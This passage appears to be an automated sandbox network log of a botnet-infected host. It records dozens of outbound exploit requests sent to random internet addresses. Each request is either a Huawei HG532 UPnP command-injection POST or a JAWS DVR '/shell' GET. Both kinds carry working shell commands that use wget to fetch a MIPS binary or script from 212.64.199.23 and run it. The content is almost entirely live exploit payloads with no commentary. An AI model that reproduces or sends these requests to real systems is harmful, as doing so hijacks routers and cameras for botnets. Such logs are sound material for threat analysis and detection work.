62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	39884	41.127.170.137	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:49.651787996 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	39680	156.126.120.228	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:49.651839972 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	46102	41.69.220.39	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:50.645756960 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	59790	41.58.51.254	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:50.681957960 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	56836	91.47.139.112	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:52.627321005 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	37064	137.130.253.109	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:52.627352953 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	38748	96.70.253.9	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:52.632009029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	54256	191.23.25.187	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.620841026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	39398	24.132.123.60	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.620881081 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	39176	80.165.18.64	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.620920897 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	50668	73.66.160.228	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.620929956 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	33352	203.180.148.74	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.620944023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	50364	84.105.33.164	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.620979071 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	36680	132.201.94.179	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.620991945 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	38656	102.139.4.165	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.621012926 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	54500	23.115.30.247	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.621046066 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	38674	82.227.188.232	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.621057987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	54004	60.12.229.231	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.621062994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	50494	108.60.222.107	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.651242971 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	50822	116.252.43.90	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:53.651319027 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	39194	191.67.104.130	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:54.645730019 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	50170	223.41.85.70	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:54.645783901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	51620	199.136.203.52	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:54.645822048 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	39890	197.161.55.209	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:54.706845999 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	54812	41.107.148.133	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:54.706882954 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	47246	41.150.240.105	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:54.711680889 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	35222	61.117.133.182	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:55.637238026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

